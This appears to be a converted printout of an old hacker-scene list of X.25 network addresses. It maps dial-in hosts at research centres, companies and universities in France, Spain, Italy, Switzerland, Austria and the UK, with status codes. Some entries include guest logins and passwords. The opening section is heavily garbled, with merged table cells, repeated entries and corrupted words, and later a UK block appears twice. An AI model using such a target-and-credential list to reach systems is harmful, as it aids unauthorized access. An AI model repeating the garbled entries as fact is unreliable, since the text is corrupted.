| I 0208 075 001 281*D CCPN GRF I 0208 075 002 314 GRF A 0208 075 002 314 FAB COMPUTING Centre Nuclear Physics GRF A 0208 075 041 280 Pasteur MV8000 A 0208 078 020 118 INRIA INRIA, Rocquencourt (France) Multics B 0208 078 020 16901 INRIA INSTITUTE Autional de Recherche en Informatique I 0208 078 081 67304 INRIAU INRIA UUCICO I 0208 091 000 270*DCISICISI3 IBM - TSO I 0208 091 000 309*DCISICISI1 IBM - TSO I 0208 091 000 519*DCISICISI2 IBM - TSO I 0208 091 000 519*DCISICISI2 IBM - TSO I 0208 091 040 047 SACLAY Saclay France I 0208 091 040 532 Pascal A 0208 091 190 258 LURE, VAX 11/780 VMS 4.6, Synchrotron source (SES) NTI A 0208 1 TEXTFRA Text Generator, FRANCE COLL Spain COLL Spain Spains data network (NID/CTNE) I 0214 5 Spain Spanish data network (NID/CTNE) I 0214 5 Spain Spanish data network (NID/CTNE) I 0214 5 Spain Spanish (EANNET) VAX 11/750 VMS 4.5 COLL Spain Spanish (EANNET) VAX 11/750 VMS 4.5 COLL Spain Spain Spanish (EANNET) VAX 11/750 VMS 4.5 COLL Spain Spai |                         | IRCAM      | ·                                          |
| I 0208 075 002 314 A 0208 075 020 655                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |                         | CCPN       | ·                                          |
| A 0208 075 041 280 A 0208 078 020 118 INRIA INRIA INRIA, Rocquencourt (France) Multics B 0208 078 020 16901 INRIA INRIA, Rocquencourt (France) Multics Institute National de Recherche en Informatique 0208 078 081 67304 INRIAU INRIA UNITORNALIQUE 1 0208 091 000 270*DCISICISI3 IBM - TSO I 0208 091 000 309*DCISICISI1 IBM - TSO I 0208 091 000 519*DCISICISI2 IBM - TSO I 0208 091 010 320 CJRCE I 0208 091 040 047 SACLAY SACLAY SACLAY SACLAY SACLAY SACLAY SACLAY INRIAU INRIA - UNITORNALIAN INRIA  | I 0208 075 002 314      |            |                                            |
| A 0208 078 020 118 INRIA INRIA, Rocquencourt (France) Multics B 0208 078 020 16901 INRIA Institute National de Recherche en Informatique  0208 078 081 67304 INRIAUU INRIA UUCICO I 0208 091 000 270*DCISICISI3 IBM - TSO I 0208 091 000 519*DCISICISI1 IBM - TSO I 0208 091 000 519*DCISICISI2 IBM - TSO I 0208 091 010 320 CJRCE I 0208 091 040 047 SACLAY Saclay France I 0208 091 040 532 Pascal A 0208 091 190 258 LURE, VAX 11/780 VMS 4.6, Synchrotron source (SES)  NTI A 0208 101 TEXTFRA Text Generator, FRANCE 0214 E Spain 0214 5 SPAIN Spanish data network (NID/CTNE) 1 0214 5 Iberpac  O 0214 521 302 1020 ETSITM (EANNET) VAX 11/750 VMS 4.5 0 0214 521 302 1020 ETSITM (EANNET) VAX 11/750 VMS 4.5 0 0222 I I Italy 1 0222 262 002 2 ESAIRS2 ESA-IRS 2 0 0222 262 004 3 VAXINF (INFNET) VAX 8650 0 0222 263 200 4 NUA-Information ? A 0222 265 014 0 Techni-Link I 0222 306 3 Processor Successor Suc |                         | LITP       |                                            |
| B 0208 078 020 16901 INRIA Institute National de Recherche en Informatique  0208 078 081 67304 INRIAUU INRIA UUCICO I 0208 091 000 270*DCISICISI3 IBM - TSO I 0208 091 000 309*DCISICISI1 IBM - TSO I 0208 091 000 519*DCISICISI2 IBM - TSO I 0208 091 010 320 CJRCE I 0208 091 040 047 SACLAY Saclay - France I 0208 091 040 532 Pascal A 0208 091 190 258 LURE, VAX 11/780 VMS 4.6, Synchrotron source (SES)  0208 1 NTI A 0208 101 TEXTFRA Text Generator, FRANCE 0214 E Spain 0214 SPAIN Spanish data network (NID/CTNE) 10214 5 Iberpac  0 0214 521 202 5022 A 0214 521 302 1020 ETSITM (EANNET) VAX 11/750 VMS 4.5 0 0222 I Italy 0222 2 Italy 0222 2 Italy 0222 2 ISAIRS2 ESA-IRS 2 0 0222 262 004 3 VAXLNF (INFNET) VAX 8650 0 0222 263 200 4 NUA-Information ? A 0222 306 700 European Space Agency I 0222 306 9*D CNUCE                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |                         | INRIA      |                                            |
| 0208 078 081 67304 INRIAUU INRIA - UUCICO I 0208 091 000 270*DCISICISI3 IBM - TSO I 0208 091 000 309*DCISICISI1 IBM - TSO I 0208 091 000 519*DCISICISI2 IBM - TSO I 0208 091 010 320 CJRCE I 0208 091 040 047 SACLAY Saclay - France I 0208 091 040 532 Pascal A 0208 091 190 258 LURE, VAX 11/780 VMS 4.6, Synchrotron source (SES)  0208 1 NTI A 0208 101 TEXTFRA Text Generator, FRANCE 0214 E Spain 0214 1 SPAIN Spanish data network (NID/CTNE) 10214 5 Spain Spainsh data network (NID/CTNE) 10214 5 Iberpac  0 0214 521 202 5022 A 0214 521 302 1020 ETSITM (EANNET) VAX 11/750 VMS 4.5 0 0222  I Italy 0222  I Italy 0222  I Italy 0222  I Italy 0222  ESAIRS1 ESA-QUEST, IRS 1 I 0222 262 002 1 ESAIRS1 ESA-PUEST, IRS 1 I 0222 262 003 2 IASI VAX A 0222 265 014 0 Techni-Link I 0222 306 3 Progetto-Sirio I 0222 306 700 European Space Agency I 0222 306 9*D CNUCE                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |                         |            |                                            |
| I 0208 091 000 270*DCISICISI3 IBM - TSO I 0208 091 000 309*DCISICISI1 IBM - TSO I 0208 091 000 519*DCISICISI2 IBM - TSO I 0208 091 010 320 CJRCE I 0208 091 040 047 SACLAY Saclay - France I 0208 091 190 258 Pascal A 0208 091 190 258 LURE, VAX 11/780 VMS 4.6, Synchrotron source (SES)  0208 1 NTI A 0208 101 TEXTFRA Text Generator, FRANCE 0214 E Spain 0214 I SPAIN Spanish data network (NID/CTNE) 10214 5 Iberpac  0 0214 521 202 5022 A 0214 521 302 1020 ETSITM (EANNET) VAX 11/750 VMS 4.5 0222 I Italy 0222 2 I Italy 0222 2 I Italy 0222 262 002 1 ESAIRS1 ESA-QUEST, IRS 1 I 0222 262 003 2 ESAIRS2 ESA-IRS 2 0 0222 263 004 3 VAXLNF (INFNET) VAX 8650 0 0222 263 004 4 NUA-Information ? A 0222 265 014 0 Techni-Link I 0222 306 3 Progetto-Sirio European Space Agency I OUCCE CNUCE                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 0200 070 001 67204      |            |                                            |
| I 0208 091 000 309*DCISICISI1 IBM - TSO I 0208 091 000 519*DCISICISI2 IBM - TSO I 0208 091 010 320 CJRCE I 0208 091 040 047 SACLAY Saclay - France I 0208 091 040 532 Pascal A 0208 091 190 258 LURE, VAX 11/780 VMS 4.6, Synchrotron source (SES)  0208 1 NTI A 0208 101 TEXTFRA Text Generator, FRANCE 0214 E Spain 0214 1 SPAIN Spanish data network (NID/CTNE) 0214 5 Iberpac  0 0214 521 202 5022 A 0214 521 302 1020 ETSITM (EANNET) VAX 11/750 VMS 4.5 0222 I Italy 0222 2 I Italy 0222 2 I Italy 0222 2 I Italy 0222 2 I Italy 0222 262 002 1 ESAIRS1 ESA-QUEST, IRS 1 I 0222 262 003 2 ESAIRS2 ESA-IRS 2 0 0222 262 004 3 VAXLNF (INFNET) VAX 8650 0 0222 263 200 4 NUA-Information ? A 0222 265 014 0 Techni-Link I 0222 306 3 Progetto-Sirio European Space Agency I 0222 306 9*D CNUCE CNUCE                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |                         |            |                                            |
| I 0208 091 010 320                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | I 0208 091 000 309*DCIS | SICISI1    |                                            |
| I 0208 091 040 047                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |                         |            | IBM - TSO                                  |
| Topic                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |                         |            | Saclay - France                            |
| Source (SES)   NTI                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |                         |            | Pascal                                     |
| 0208 1 A 0208 101 TEXTFRA Text Generator, FRANCE 0214 0214 1 0214 5 0214 5 0214 521 202 5022 A 0214 521 302 1020 ETSITM (EANNET) VAX 11/750 VMS 4.5 0222 I Italy 0222 2 A 0222 262 002 1 ESAIRS1 ESA-QUEST, IRS 1 I 0222 262 003 2 A 0222 262 003 2 I ASI VAX A 0222 262 004 3 VAXLNF (INFNET) VAX 8650 O 0222 263 200 4 A 0222 265 014 0 I Techni-Link I 0222 306 3 I 0222 306 700 European Space Agency I 0222 306 9*D CNUCE CNUCE                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | A 0208 091 190 258      |            | <del>_</del>                               |
| A 0208 101                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 0208 1                  |            |                                            |
| 0214 1 SPAIN Spanish data network (NID/CTNE) 0214 5 Iberpac  0 0214 521 202 5022  A 0214 521 302 1020 ETSITM (EANNET) VAX 11/750 VMS 4.5 0222 I Italy 0222 2 Itapac  A 0222 262 002 1 ESAIRS1 ESA-QUEST, IRS 1 I 0222 262 002 2 ESAIRS2 ESA-IRS 2 0 0222 262 003 2 IASI VAX A 0222 262 004 3 VAXLNF (INFNET) VAX 8650 0 0222 263 200 4 NUA-Information ? A 0222 265 014 0 Techni-Link I 0222 306 3 Progetto-Sirio I 0222 306 700 European Space Agency I 0222 306 9*D CNUCE CNUCE                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |                         | TEXTFRA    |                                            |
| 0214 5                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |                         |            | -                                          |
| O 0214 521 202 5022 A 0214 521 302 1020                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |                         | SPAIN      | <del>-</del>                               |
| Tally                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |                         |            | Delpue                                     |
| 0222 2                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |                         |            |                                            |
| A 0222 262 002 1 ESAIRS1 ESA-QUEST, IRS 1 I 0222 262 002 2 ESAIRS2 ESA-IRS 2 O 0222 262 003 2 IASI VAX A 0222 262 004 3 VAXLNF (INFNET) VAX 8650 O 0222 263 200 4 NUA-Information ? A 0222 265 014 0 Techni-Link I 0222 306 3 Progetto-Sirio I 0222 306 700 European Space Agency I 0222 306 9*D CNUCE CNUCE                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |                         | I          | <del>-</del>                               |
| I 0222 262 002 2 ESAIRS2 ESA-IRS 2 0 0222 262 003 2 IASI VAX A 0222 262 004 3 VAXLNF (INFNET) VAX 8650 0 0222 263 200 4 NUA-Information ? A 0222 265 014 0 Techni-Link I 0222 306 3 Progetto-Sirio I 0222 306 700 European Space Agency I 0222 306 9*D CNUCE CNUCE                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |                         | ESAIRS1    | <del>-</del>                               |
| A 0222 262 004 3 VAXLNF (INFNET) VAX 8650  O 0222 263 200 4 NUA-Information ?  A 0222 265 014 0 Techni-Link  I 0222 306 3 Progetto-Sirio  I 0222 306 700 European Space Agency  I 0222 306 9*D CNUCE CNUCE                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |                         | ESAIRS2    | ESA-IRS 2                                  |
| O 0222 263 200 4 NUA-Information ? A 0222 265 014 0 Techni-Link I 0222 306 3 Progetto-Sirio I 0222 306 700 European Space Agency I 0222 306 9*D CNUCE CNUCE                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |                         |            |                                            |
| A 0222 265 014 0 Techni-Link I 0222 306 3 Progetto-Sirio I 0222 306 700 European Space Agency I 0222 306 9*D CNUCE CNUCE                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |                         |            |                                            |
| I 0222 306 700 European Space Agency I 0222 306 9*D CNUCE CNUCE                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | A 0222 265 014 0        |            | Techni-Link                                |
| I 0222 306 9*D CNUCE CNUCE                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |                         |            | <del>-</del>                               |
|                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |                         | CNUCE      |                                            |
|                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | I 0222 307 0            |            |                                            |

```
Tue Oct 05 05:46:35 2021
   4.txt
  I 0222 307 1
                                                                                                            CED Datenbanksysteme Rom
  I 0222 307 1
I 0222 307 2*D RTC20
                                                                                                          JRC
  I 0222 307 7*D QUESTD5 ESA
                                                                                                        ESA
  D 0222 307 8*D QUESTD5 ESA2
 D 0228 4 ESA Switzerland

D DATASTAR Data-Star, Switzerland

D 228 4
                                                                                                        ESA
       0228 4
                                                                                                          Telepac
  A 0228 462 110 0101
A 0228 462 110 0102
                                                                                                           Cigy IBMA
                                                                                                         Cigy DEC1091
  A 0228 462 110 09
                                                                                                         EDP Basel
  A 0228 462 110 23
 ?
A 0228 462 110 36
?
A 0228 462 110 52
DANZA'S 11/785 VMS 4.4
A 0228 462 110 61
PKK node RBPK00
PROGNOS Basel (CIERR 14
                                                                                                        PROGNOS Basel (CIERR 1402)
  A 0228 462 110 84
                                                                                                            (CIERR 1402)
 Y 0228 462 170 UZ
I 0228 464 109 06 GD PTT Schweiz (ring
A 0228 464 110 10 DM DATAMAIL (RSAG)
A 0228 464 110 110 DSTAR2 Datastar (2nd. Line)
  Y 0228 462 170 02
                                                                                                            INFOTEX PTT
                                                                                                            GD PTT Schweiz (ring with CTRL G)
  Z 0228 464 110 113
                                                                                                            RSAG
 Z 0228 464 110 113 RSAG

A 0228 464 110 115 DATASTAR Data-Star, Switzerland (Pharmadatenbank?)

A 0228 468 113 150 Management Joint Trust

D 0228 468 114 05 CERN (=CERNXX?)
A 0228 468 113 150
D 0228 468 114 05
CERN
CERN
CERN (=CERNXX?)
A 0228 468 114 0505
CERN
CERN (Geneva
CERN X25 Multigate
CERN 300 bps OUTDIAL (where ???)
CERN 228 468 114 0510*DME CERNE
CERN 300 bps OUTDIAL (where ???)
CERN 300 bps OUTDIAL (where ??)
CERN 300 bps OUTDIAL (where ??)
CERN 300 bps OUTDIAL (where ??)
CERN 300 bps OUT
                                                                                                        %Merit:X.25 (Merit Computer Network, see
 appendix)

A 0228 468 114 0584

A 0228 468 114 0587

A 0228 468 114 0588

A 0228 468 114 0589

A 0228 468 114 0592

Princeton University High Energy Physics Group Vax 11/750

A 0228 468 114 0593

A 0228 468 114 0596

A 0228 468 114 0597

Harvard University High Energy Physics Lake Vax 8650
                                                                                                         Harvard University High Energy Physics Lab.
                                                                                                           Vax 8650
  A 0228 468 114 0598
                                                                                                         MIT-LNS*PIERRE
  A 0228 468 114 0599
                                                                                                        DoD, Distributed Databases Coordination
                                                                                                              Center (JMILLER, XOTF3AP)
                                                                                                       BIOGEN (=GODEL?)
  D 0228 468 114 18
                                                                                                        EDCHUB::
  A 0228 468 114 23
                                                                                                        EPFL (something)
  A 0228 469 110 02
  A 0228 469 110 0202
                                                                                                         EPFL HELP
```

```
4.txt
                   Tue Oct 05 05:46:35 2021
 D 0228 469 110 0203
                                                       EPFL DE.VAX
 D 0228 469 110 0204
                                                      EPFL GC.VAX
 A 0228 469 110 0205
                                                      EPFL DP.VAX
 A 0228 469 110 0206
                                                      EPFL ME.VAX
A 0228 469 110 0207

A 0228 469 110 0208

A 0228 469 110 0209

D 0228 469 110 0210

D 0228 469 110 0211

D 0228 469 110 0211

D 0228 469 110 0212

A 0228 469 110 0213

A 0228 469 110 0313

A 0228 469 110 0301

A 0228 469 110 0301

A 0228 475 110 02

A 0228 479 104 00

A 0228 479 110 23

X 0228 479 110 86

A 0228 479 110 650

I 0228 479 111

A 0228 479 111
 A 0228 479 111 06
                                                        GRS
 I 0228 479 111 086
 I 0228 479 111 11
 I 0228 479 111 18
                                                      ZEV-Mailbox Zuerich
 A 0228 479 111 750
A 0228 479 311 49
A 0228 499 111 02001
                                                      ComNet (R-Nua)
                                                     KOMETH Output (ETH ZH)
KOMETH (Entry Uni)
    0228 9
                                                      Radio-Suisse
    0232
                                     A
                                                      Austria
    0232 2
                                                      Datex-P
 0 0232 242 210 91
 ? 0232 242 211 42*DMAI
A 0232 252 310 000
                                                      Sysnet Wien (Gast, Gast)
                                                      Uni Wien
    0232 9
                                                      Radio Austri
 A 0232 911 602 323
                                                      Inpadoc
                  GB United Kingdom
IPSS UK network
    0234
    0234 1
 A 0234 110 020 02018
                                                      BT DIALCOM GROUP (PRESTEL ?)
                                                       PSS
    0234 2
                                                      Queen Marry C.
    0234 198 061 60
 B 0234 207 920 002
                                                      SWVA
                                                      Hostess Doc.
    0234 211 920 100515
    0234 212
                                                       Dialnet
 0 0234 212 080 105
 В 0234 212 301 161
 B 0234 212 301 161 OFILL GEOSYSTEMS
0234 212 301 187 CAP GROUP LTD.
0234 212 301 1872 CAP CAP Industry Ltd.
0234 212 301 281 ONE TO ONE COMMS
0 0234 212 302 02192 PSSCLK PSS Clock
B 0234 212 399 12013 DIALMAL Dialmail via London
2 0234 212 300 115 STL: ACER (BSD UNIX
                                                       OPTEL
                                                     STL : ACER (BSD UNIX 4.2)
 A 0234 212 900 115 STL
    0234 213 000 11
    0234 213 000 151 COMPUTAS Computas Ltd 0234 213 000 1511 COMPUTAS LTD
                                        COMPUTAS LTD.
 D 0234 213 900 10150 ALVEY Alvey Mail and FTP.
0234 214 200 162 GLAXO Galaxo Industries
    0234 214 400 12
                                                      CONTROL DATA LTD.
    0234 215 000 11600 C3
    0234 215 710 104 Consultans Ltd

0234 216 700 127 PFIZER Pfizer, SANDWICH

0234 216 700 12701 PFIZER1 Pfizer, SANDWICH

0234 216 700 12702 PFIZER2 Pfizer, SANDWICH

0234 216 700 12703 PFIZER3 Pfizer, SANDWICH

0234 216 700 12704 PFIZER4 Pfizer, SANDWICH
```

```
4.txt
             Tue Oct 05 05:46:35 2021
  0234 216 700 12706
                           PFIZER6
                                         Pfizer, SANDWICH
                                        British Telecom Hotline
  0234 218 801 00300
  0234 2
                                        PSS
  0234 198 061 60
                                         Queen Marry C.
B 0234 207 920 002
                                        SWVA
  0234 211 920 100515
                                        Hostess Doc.
  0234 212
                                        Dialnet
0 0234 212 080 105
I 0234 212 080 110 EPSONUK Epson (UK)
A 0234 212 300 120 DIALNET IGS Leased line to DIALOG in US
A 0234 212 300 12011 DIALNET LRS-DIALOG 2 Dialog via London
Ar0234 212 300 12013 DIALMRC LRS-Dialmail (Reverse Charging)
A 0234 212 300 120*D@ DIALNET IGS Leased line to DIALOG in US
A 0234 212 300 2920
                                        GeoNet GEO2
В 0234 212 301 161
                                        OPTEL
  0234 212 301 186
                                        GEOSYSTEMS
  0234 212 301 187
                                        CAP GROUP LTD.
  0234 212 301 18722 CAP
                                        CAP Industry Ltd.
  0234 212 301 281
                                        ONE TO ONE COMMS
O 0234 212 301 201

O 0234 212 302 02192 PSSCLK

B 0234 212 399 12013 DIALMAL
                                        PSS Clock
                           DIALMAL
                                        Dialmail via London
A 0234 212 900 115
                           STL
                                        STL : ACER (BSD UNIX 4.2)
  0234 213 000 11
  0234 213 000 151
                          COMPUTAS Computas Ltd
  0234 213 000 1511
                                        COMPUTAS LTD.
D 0234 213 900 10150 ALVEY
                                      Alvey Mail and FTP.
  0234 214 200 162
                          GLAXO
                                       Galaxo Industries
  0234 214 400 12
                                       CONTROL DATA LTD.
  0234 215 000 11600 C3
  0234 215 710 104
                                        Consultans Ltd
  0234 216 700 127 PFIZER Pfizer, SANDWICH 0234 216 700 12701 PFIZER1 Pfizer, SANDWICH
  0234 216 700 12702 PFIZER2 Pfizer, SANDWICH
  0234 216 700 12703 PFIZER3 Pfizer, SANDWICH
  0234 216 700 12704 PFIZER4 Pfizer, SANDWICH
  0234 216 700 12706 PFIZER6 Pfizer, SANDWICH
  0234 218 801 00300
                                        British Telecom Hotline
  0234 219
                                        PSS-Network
  0234 219 200 001
                                        Network Monitoring Centre (NFS)
  0234 219 200 002
                                        Network Monitoring Centre (NFS)
  0234 219 200 100
                                        University of London Computing Centre
  B 0234 219 200 101
                                        Finsbury Data Service
  0234 219 200 1082
                                        BING COMPUTER SERVICES (EUROPE) LTD.
                       ADPUK
                                       ADP NETWORK SERVICES LTD. (=AUTONET?)
A 0234 219 200 118
  0234 219 200 118
                                        atomic energy research establishment
  0234 219 200 110
0234 219 200 13370 QTLON
0234 219 200 146 CEGB
                                      Quantime
A 0234 219 200 146
                                        CEGB, Park Street, London
B 0234 219 200 14869 ULCC
                                       Univ. London Computer Centre (=JANET2?)
В 0234 219 200 14918
                           UCLMVAX UCL Microvax ARPA Gateway
B 0234 219 200 14970
  0234 219 200 154
0234 219 200 154
A 0234 219 200 171 LEXIS LEXIS
A 0234 219 200 190 INFOLINE PERGAMON INFOLINE LTD. (NFS)
A 0234 219 200 203 IPSH SHARP, I. P. ASSOCIATES LTD.
                                        UNILEVER COMPUTER SERVICES LTD.
A 0234 219 200 220
                                        BRITISH LIBRARY ON-LINE SYSTEM
A 0234 219 200 222 BLAISE 0234 219 200 297
                                       British Library Information System
                                        RLFE & NOLAN COMPUTER SERVICES PLC
B 0234 219 200 300 UCL
0234 219 200 300 UCLFTP
A 0234 219 200 300 UCLMAIL
                                        University College London - Computer
                                        UCL (FTP)
                                        UCL (JNT Mail)
  0234 219 200 304
                                        University Computing Company (GB) Ltd.
B 0234 219 200 333 EUCLID University College London Computer Centre 0234 219 200 394 CISI CISI (=SIANET?;=Computer Services, London?)
  0234 219 200 871
                                        Instrument Rentals (UK) Ltd.
B 0234 219 201 002
                           POOLE
                                      Telecom BT-GOLD System 81
                          BGOLD81
  0234 219 201 004
  0234 219 201 00472 BGOLD01
0234 219 201 00472 BGOLD72
0234 219 201 00474 BGOLD74
0234 219 201 00479 BTGOLD
                                        Telecom BT-GOLD System 72
                           BGOLD74 Telecom BT-GOLD System /4
BTGOLD Telecom BT-GOLD System 79
```

| 4  | .txt         |     | Tu  | e Oct          | 05 | 05:46:35           | 20 | 21 6                                                                   |
|----|--------------|-----|-----|----------------|----|--------------------|----|------------------------------------------------------------------------|
|    | 0234         | 219 | 201 | 00481          |    | BTGOLDA            |    | Telecom BT-GOLD System 81                                              |
|    |              |     |     | 00482          |    | BTGOLD82           |    | Telecom BT-GOLD System 82                                              |
|    |              |     |     | 00484          |    | BGOLD84            |    | Telecom Gold System 84 PSS TELE-MAIL service                           |
| В  | 0234         |     |     | 005            |    | PSSMAIL<br>DIANENO |    | Euronet DIANE Enquiry Service                                          |
| ט  | 0234         | 217 | 201 | 00313          |    | DIMINING           |    | (=Echo, Rutherford?)                                                   |
| В  | 0234         | 219 | 201 | 00513          |    | EUROINFO           |    | Euronet Diane Information Service                                      |
|    |              |     |     |                |    |                    |    | (=Echo, Rutherford?)                                                   |
|    |              |     |     | 00515          |    | BTDOC              |    | BT Online Documentation Service                                        |
| A  |              |     |     | 00515          |    | HOSTESS            |    | Hostess system (BT)                                                    |
|    |              |     |     | 00530<br>00615 |    | BAYNARD<br>PSSDOC  |    | BT Protocol Study Centre (NFS) PSS documentation service/X25 technical |
|    | 0254         | 217 | 201 | 00015          |    | 1 DDDOC            |    | info on line                                                           |
|    | 0234         | 219 | 201 | 00620          |    | BTBILL             |    | BT Online Billing                                                      |
|    |              |     |     | 010051         | 13 |                    |    |                                                                        |
|    |              |     |     | 01013          |    | HOSTESS            |    | Hostess system (BT) (=PSS Switchstream 1 ?)                            |
| Т  | 0234         |     |     | 01030          |    | TSTB               |    | British Telecom BT Prestel Service                                     |
|    |              |     |     | 025            |    | PRESTEL            |    | BI Prester Service                                                     |
|    |              |     |     | 07800          |    |                    |    |                                                                        |
|    | 0234         | 219 | 201 | 15600          |    | ESA1               |    | ESA-IRS via London                                                     |
|    | 0234         |     |     |                |    | ADPUK              |    | ADP Network Services Ltd                                               |
|    | 0234         |     |     |                |    | ~=~                |    | BT Mailbox facility (NFS)                                              |
|    | 0234<br>0234 |     |     |                |    | GEC<br>GECB        |    | GEC Computers Borehamwood GEC Computers Ltd. Borehamwood               |
|    | 0234         |     |     |                |    | GECB               |    | GEC Computers Ltd. Borehamwood                                         |
|    | 0234         |     |     |                |    | 0202               |    | Modular Computer Services Ltd. (MODCOMP)                               |
| ?  | 0234         |     |     |                |    | NPL1               |    | National Physical Laboratory                                           |
|    | 0234         | 219 | 709 | 210            |    | NPL2               |    | National Physical Laboratory, Protocol Std                             |
| ъ  | 0024         | 210 | 006 | 1.00           |    | OMO                |    | Group                                                                  |
|    | 0234<br>0234 |     |     |                |    | QMC                |    | Queen Mary College London island-Adventure-Game                        |
|    |              |     |     | 10700          |    |                    |    | island-Adventure-Game                                                  |
|    | 0234         |     |     |                |    | ESSX               |    | Essex, University of, Computing Service                                |
|    |              |     |     |                |    |                    |    | (2653,2653,Mist)                                                       |
| A  | 0234         | 220 | 641 | 1411           |    |                    |    | MUD (Adventure Game), <guest>, <mist> or</mist></guest>                |
| B  | 0234         | 221 | 222 | 122            |    | MIDB               |    | <2653,2653> MIDNET Gateway at Birmingham (=MIDBHM)                     |
| ם  | 0234         |     |     |                |    | BIRP               |    | Prime R & D at Birmingham                                              |
|    | 0234         |     |     |                |    |                    |    | Freight Comp. Services                                                 |
|    | 0234         |     |     |                |    | CARDF              |    | Cardiff, University College                                            |
|    |              |     |     | 16300          |    | CARDIFF            |    | Univ. Coll. Cardiff Multics                                            |
|    | 0234         |     |     | 16102          |    | UWIST<br>ACORN     |    | University of Wales<br>Acorn Computers                                 |
|    | 0234         |     |     |                |    | CAMBRID            |    | Cambridge University (Phoenix)                                         |
|    | 0234         |     |     |                |    | SWURCC             |    | South-West Universities                                                |
|    |              |     |     | 30388          |    | SWURCC             |    | South-West Universities Network                                        |
